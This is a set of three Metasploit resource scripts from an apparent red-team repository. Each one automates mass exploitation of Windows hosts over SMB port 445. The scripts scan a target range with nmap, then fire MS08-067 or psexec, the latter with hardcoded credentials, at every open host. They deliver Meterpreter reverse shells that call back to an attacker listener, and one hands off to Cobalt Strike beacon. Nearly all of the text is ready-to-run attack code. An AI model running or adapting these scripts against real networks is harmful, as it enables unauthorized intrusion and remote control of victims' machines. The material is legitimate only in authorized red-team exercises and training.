| -------------------------------------------------------------------------------- /red-team/msf/ms08_auto.rc: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Created by @jgaudard 3 | # Resource file for metasploit 4 | # Auto exploits by setting up a multi-handler, then running 5 | # an NMAP scan for port 445, and finally uses MS08_067 against 6 | # any targets with port 445 open. 7 | # Created: 10 September 2014 Edited: 15 September 2014 8 | # Version 1.1 9 | ################################################# 10 | 11 | 12 | 13 | 14 | 15 | # Setting up variables 16 | # With some slight modifications, you can use different exploits like MS03_026 17 | lhost = "10.1.0.112" 18 | lport = "443" 19 | handler = "exploit/multi/handler" 20 | exploit = "exploit/windows/smb/ms08_067_netapi" 21 | payload = "windows/meterpreter/reverse_http" 22 | targets = "10.1.1-9.10" #accepts targets formated for nmap CIDR, Comma, or Dash. 23 | port = "445" 24 | 25 | 26 | # Setting Global Options 27 | run_single("setg LHOST #{lhost}") 28 | 29 | # Starting Mulit-Handler 30 | # You probably don't need this if you are going to connect to a cobalt strike team server 31 | run_single("use #{handler}") 32 | run_single("set PAYLOAD #{payload}") 33 | run_single("set LPORT #{lport}") 34 | run_single("set ExitOnSession false") 35 | run_single("exploit -j -z") 36 | 37 | # Setup Workspace 38 | run_single("workspace -d autopwn") 39 | run_single("workspace -a autopwn") 40 | run_single("workspace autopwn") #probably redundant 41 | 42 | # Runs NMAP 43 | run_single("db_nmap -sS -p #{port} #{targets}") 44 | 45 | # Let there be magic! 46 | framework.db.hosts.each do |host| 47 | host.services.each do |service| 48 | if service.name == "microsoft-ds" and service.state == "open" 49 | print_line("exploiting #{host.address}") 50 | run_single("use #{exploit}") 51 | run_single("set RHOST #{host.address}") 52 | run_single("set PAYLOAD #{payload}") 53 | run_single("set LPORT #{lport}") 54 | run_single("set DisablePayloadHandler true") 55 | run_single("exploit -j") 56 | run_single("back") 57 | end 58 | end 59 | end 60 | 61 | 62 | 63 | -------------------------------------------------------------------------------- /red-team/msf/psexec_auto.rc: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Created by @jgaudard :: I don't twitter much 3 | # Resource file for metasploit 4 | # Auto exploits by setting up a multi-handler, then running 5 | # an NMAP scan for port 445, and finally uses psexec against 6 | # any targets with port 445 open. 7 | # Created: 30 April 2016 Edited: 30 April 2016 8 | # Version 0.9 9 | ################################################# 10 | # TODO 11 | # ms08_067 > mimikatz > db creds > psexec 12 | # 13 | # 14 | ################################################# 15 | 16 | 17 | 18 | ### Setting up variables ### 19 | lhost = "192.168.1.33" 20 | lport = "7777" 21 | handler = "exploit/multi/handler" 22 | payload = "windows/meterpreter/reverse_tcp" 23 | 24 | ### accepts targets formated for nmap CIDR, Comma, or Dash. ### 25 | targets = "192.168.1.0/24" 26 | 27 | ### psexec options ### 28 | exploit = "exploit/windows/smb/psexec" 29 | share = "ADMIN$" 30 | pass = "password" 31 | user = "user" 32 | port = "445" 33 | 34 | 35 | ### Setting Global Options ### 36 | run_single("setg LHOST #{lhost}") 37 | 38 | ### Starting Mulit-Handler ### 39 | 40 | run_single("use #{handler}") 41 | run_single("set PAYLOAD #{payload}") 42 | run_single("set LPORT #{lport}") 43 | run_single("set ExitOnSession false") 44 | run_single("exploit -j") 45 | 46 | ### Setup Workspace ### 47 | run_single("workspace -d autopwn") 48 | run_single("workspace -a autopwn") 49 | run_single("workspace autopwn") #probably redundant 50 | 51 | ### Runs NMAP ### 52 | run_single("db_nmap -T5 --exclude #{lhost} -p #{port} #{targets}") 53 | 54 | ### Give me your tired, your poor, your shells! ### 55 | framework.db.hosts.each do |host| 56 | host.services.each do |service| 57 | if service.name == "microsoft-ds" and service.state == "open" 58 | print_line("exploiting #{host.address}") 59 | run_single("use #{exploit}") 60 | run_single("set SHARE #{share}") 61 | run_single("set SMBPass #{pass}") 62 | run_single("set SMBUser #{user}") 63 | run_single("set RHOST #{host.address}") 64 | run_single("set PAYLOAD #{payload}") 65 | run_single("set LPORT #{lport}") 66 | run_single("set DisablePayloadHandler true") 67 | run_single("exploit -z") 68 | run_single("back") 69 | end 70 | end 71 | end 72 | 73 | 74 | -------------------------------------------------------------------------------- /red-team/msf/psexec_to_beacon.rc: -------------------------------------------------------------------------------- 1 | ################################################ 2 | # Modified by @jgaudard :: I don't twitter much 3 | # Resource file for metasploit. 4 | # Copied from nodocify at NCCCDC, modified to match 5 | # my other psexec resource script. 6 | # Use with cobaltstrike's beacon 7 | # Created: 2 April 2017 Edited: 3 April 2017 8 | # Version 1.0 9 | ################################################# 10 | 11 | 12 | 13 | smbdomain = "." 14 | smbuser = "user" 15 | smbpass = "abc123!!!" 16 | lhost = "133.7.1.1" 17 | lport = "443" 18 | targets = "133.7.150.150" 19 | targets_file = "/root/targets.lst" 20 | 21 | 22 | ### Setup Workspace ### 23 | run_single("workspace -d autopwn") 24 | run_single("workspace -a autopwn") 25 | run_single("workspace autopwn") #probably redundant 26 | 27 | ### if targets_file then.... 28 | # self.run_single("db_nmap -T5 -sS -O -n -p T:22,445,3389,4444 -iL #{targets_file}") 29 | ### else 30 | self.run_single("db_nmap -T5 -sS -O -n -p T:22,445,3389,4444 #{targets}") 31 | 32 | hosts = [] 33 | begin 34 | framework.db.services.each do |service| 35 | if ( service.port ==445 and service.state == 'open' and service.proto == 'tcp') 36 | hosts << {'ip' => service.host.address} 37 | end 38 | end 39 | end 40 | 41 | self.run_single("use exploit/windows/smb/psexec") 42 | 43 | hosts.each do |rhost| 44 | self.run_single("set PrependMigrate true") 45 | self.run_single("set DisablePayloadHandler true") 46 | self.run_single("set RHOST #{rhost['ip']}") 47 | self.run_single("set PAYLOAD windows/meterpreter/reverse_http") 48 | self.run_single("set LHOST #{lhost}") 49 | self.run_single("set LPORT #{lport}") 50 | self.run_single("set SMBDOMAIN #{smbdomain}") 51 | self.run_single("set SMBUSER #{smbuser}") 52 | self.run_single("set SMBPASS #{smbpass}") 53 | self.run_single("exploit -j") 54 | sleep 1 55 | end 56 | 57 | --------------------------------------------------------------------------------